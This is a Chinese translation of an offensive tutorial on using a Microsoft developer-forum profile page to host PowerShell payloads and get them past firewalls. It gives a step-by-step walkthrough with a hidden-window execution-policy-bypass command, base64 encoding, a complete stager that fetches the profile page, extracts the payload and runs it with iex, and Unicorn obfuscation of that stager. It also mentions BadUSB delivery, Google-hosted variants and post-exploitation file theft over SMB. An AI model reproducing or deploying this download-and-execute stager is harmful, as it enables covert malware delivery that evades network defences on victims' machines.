利用Microsoft.com绕过防火墙以传递恶意命令
Microsoft.com
可以说是互联网上最知名域名之一,旗下拥有数千个子域。在很多特定的时刻,Windows 10系统会对这些子域执行数百次ping操作,这就使得防火墙和其他安全软件很难实时确认这些请求的合法性。因此,攻击者可以使用这些子域来传递恶意软件以躲避防火墙。
最近,在社交媒体上分享一篇文章时,我发现Twitter会阻止我往tweet窗口中输入一个简单的PowerShell命令。Twitter会显示一条错误消息,表示无法提交tweet。
这件事突然启发了我,在过去,不少黑客一直在Twitter上发布PowerShell命令,目的是传递恶意payload。那么,我可不可以用其他流行的域名来干这件事呢?说不定会有更好的效果。
为什么要使用Microsoft的域名而不是某些虚拟机?
最显著的优势可能是防火墙对这些流行的域名是高度信任的。
此外,Windows系统本身也会对这些域名发起很多请求,这些恶意流量更可以混杂其中,绕过检测。
Windows 10系统基本每天都会“打电话回家”数万次。即使改变了系统设置,Windows 10也会对Microsoft的服务器执行数千次ping操作。之所以发起这么多网络请求,是因为这些与Microsoft域之间的交流对维护系统更新和操作系统正常运作是非常重要的。下面是Wireshark捕获的相关数据。
此外,某些Microsoft的子域名可能会看起来很奇怪(例如,“geover-prod.do.dsp.mp.microsoft.com”)。这些通常服务于后台运行的专用服务、资源和应用程序。这就意味着为了让系统正常运行,一些防火墙和安全设备将把*.microsoft.com
放入白名单,而某些系统管理员也可能完全忽略Microsoft域名,因为它们不太可能被黑客所掌控。
在以上这个大背景下,攻击者也许能找一些可乘之机。以下面的Wireshark捕获的流量为例。你注意到有什么异常吗?
流量中的social.msdn.microsoft.com
被用来传递攻击者的payload。对于使用肉眼或深度报文检测的管理员来说,并不能发现什么问题。这个域名属于微软的开发者社区论坛,而且发起的请求已被加密(TCP/TLS),因此即使进一步检查数据包内容,也不会发现什么奇怪的内容。对于观察到这种流量的管理员来说,这只是用户在浏览微软论坛。
接下来我们导航到这个攻击者请求的页面,可以看到一些不寻常的地方。
请注意,并不是只有这个域名可以被黑客利用,许多微软的域名可能起到类似的作用,如微软的Answer、Office Forms、OneDrive,甚至是微软的新闻网站。
步骤1:创建payload
现在,让我们实际操作一下,最终要达到的效果是在Documents\
文件夹中创建一个名为pwn_sauce
的空文本文件。请注意命令中的三个反斜杠。在bash(kali 终端)中,需要将PowerShell变量作为文本字符串传递。
powershell -ep bypass /w 1 /C New-Item -ItemType file 'C:\Users\\\$env:USERNAME\Documents\pwn_sauce'
这条PowerShell命令使用了绕过策略-ep bypass
,同时使用/w 1
隐藏弹出窗口。而New-item
用于创建新文件。在文件的路径中,使用了环境变量补充绝对路径。它可以在任何Windows 10计算机上执行,最终将在Documents\
文件夹下创建一个新文件。
以上简单命令可以直接嵌入social.msdn.microsoft.com
的About Me
部分。如果要使用包含特殊字符的复杂的PowerShell命令,就必须对payload进行base64编码。否则,Microsoft的服务器将自动去除特殊字符(例如,<、>和&)。
~# printf '%s' "PAYLOAD GOES HERE" | base64
cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6
XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=
在使用base64
产生payload的编码时,可能会产生换行符\n
,记得删除后再进行命令拼接。
~# printf '%s' "PAYLOAD GOES HERE" | base64 | tr -d
cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=
接下来,让我们创建Microsoft帐户,并设置stager。
步骤2:创建Microsoft帐户
很多微软的网站都有帐户的登录和创建,随便选择一个进行帐户创建。
登录后,导航到social.msdn.microsoft.com/profile/username
的“用户配置”页面,然后单击“编辑我的配置文件”,更新About Me
的部分。
步骤3:往Microsoft网站输入payload
About Me
只可容纳1024个字符,在创建payload时应注意别超过限制,尤其是在使用base64编码时。
将所需的payload粘贴到About Me
中单词START
和END
之间,这步对stager至关重要,它会分析Microsoft页面上的所有HTML代码,并提取出START
和END
之间的字符串。
一旦完成后,单击页面底部的“保存”按钮。
步骤4:创建stager
下面的PowerShell代码用于下载Microsoft用户的配置文件页,并提取被编码的payload,再对其进行解码,然后执行。
$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;$r = [Regex]::new("(?<=START)(.*)(?=END)");$m = $r.Match($wro.rawcontent);if($m.Success){ $p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::Frombase64String($m.value));iex $p }
以上包含多个命令,用分号分隔。我将详细讲解每个命令。
$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;
其中Invoke-WebRequest
(iwr)用于获取参数-UseBasicParsing
指定的网页。这条命令的结果都存储在变量$wro(WebResponseobject
)中。参数UseBasicParsing
用于进行基本的解析。我发现这个参数需要手动设置才能使请求成功。
$r = Regex::new("(?<=START)(.*)(?=END)");
接下来,我们可以使用正则表达式在HTML代码中定位payload。虽然还有其他的方法,但这种最普遍。所有START
到END
之间的字符串将被提取出来。
$m = $r.Match($wro.rawcontent);
再把正则表达式提出的字符串赋值给$m
。
if($m.Success){ $p = System.Text.Encoding::UTF8.GetString(System.Convert::Frombase64String($m.value)); ...}
把$m
的值进行解码(Frombase64String),传递给$P
。
iex $p
最后,使用Invoke-expression
(iex)来执行$p
。在这种情况下,$P
代表了PowerShell编码的payload。为了测试,可以用echo命令替换iex命令,结果如下所示。
步骤5:混淆PowerShell stager(可选)
在这一步,我们可以使用Unicorn
之类的工具来混淆恶意代码。要深入了解Unicorn
,请查看How to Create an Undetectable Payload和其官方Github页面。
~# python unicorn.py stager.ps1
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
[*] Exported powershell output code to powershell_attack.txt
其中powershell_attack.txt
就是混淆后的stager。
~# cat powershell_attack.txt
powershell /w 1 /C "s\"\"v ic -;s\"\"v tHL e\"\"c;s\"\"v NwW ((g\"\"v ic).value.toString()+(g\"\"v tHL).value.toString());powershell (g\"\"v NwW).value.toString() ('JAB3AHIAbwAgAD0AIABpAHcAcgAgAC0AVQByAGkAIABoAHQAdABwAHMAOgAvAC8AcwBvAGMAaQBhAGwALgBtAHMAZABuAC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFAAcgBvAGYAaQBsAGUALwBVAFMARQBSAE4AQQBNAEUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsAJAByACAAPQAgAFsAUgBlAGcAZQB4AF0AOgA6AG4AZQB3ACgAIgAoAD8APAA9AFMAVABBAFIAVAApACgALgAqACkAKAA/AD0ARQBOAEQAKQAiACkAOwAkAG0AIAA9ACAAJAByAC4ATQBhAHQAYwBoACgAJAB3AHIAbwAuAHIAYQB3AGMAbwBuAHQAZQBuAHQAKQA7AGkAZgAoACQAbQAuAFMAdQBjAGMAZQBzAHMAKQB7ACAAJABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0ALgB2AGEAbAB1AGUAKQApADsAaQBlAHgAIAAkAHAAIAB9AAoA')"
而在实践中,最常用的攻击手法应该是利用BadUSB,只要插入受害者机器,几秒钟之内就可以控制目标。
改进
除了微软的域名,攻击者还可以利用谷歌的域名来进行同样的攻击。和*.microsoft.com
一样,大多数防火墙不会拦截指向google.com
的GET请求。
在谷歌的域名上托管payload较为复杂。攻击者需要通过创建一个谷歌可以索引的网站。然后,再创建一个包含payload的Web路径。最后,通过标识href
获取payload(示例如下)。可以看出,这个payload完全通过谷歌搜索引擎获得的。
本文只介绍了一个非常简单的PowerShell命令,它只是创建一个文件。实际上,攻击者可能会尝试使用系统命令进行后渗透攻击。攻击者可直接把目标计算机作为一个Wi-Fi热点并创建SMB共享。这样的攻击者就可直接连接到目标的Wi-Fi热点,并直接获取计算机上文件。
此外,在我的简短测试中(没有混淆),一个编译好的PowerShell stager(exe)会被SmartScreen报警,提示用户这个exe是由“未知发布者”创建的。我们将在以后的文章中演示如何绕过SmartScreen。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://null-byte.wonderhowto.com/how-to/use-microsoft-com-domains-bypass-firewalls-execute-payloads-0196505/
最新评论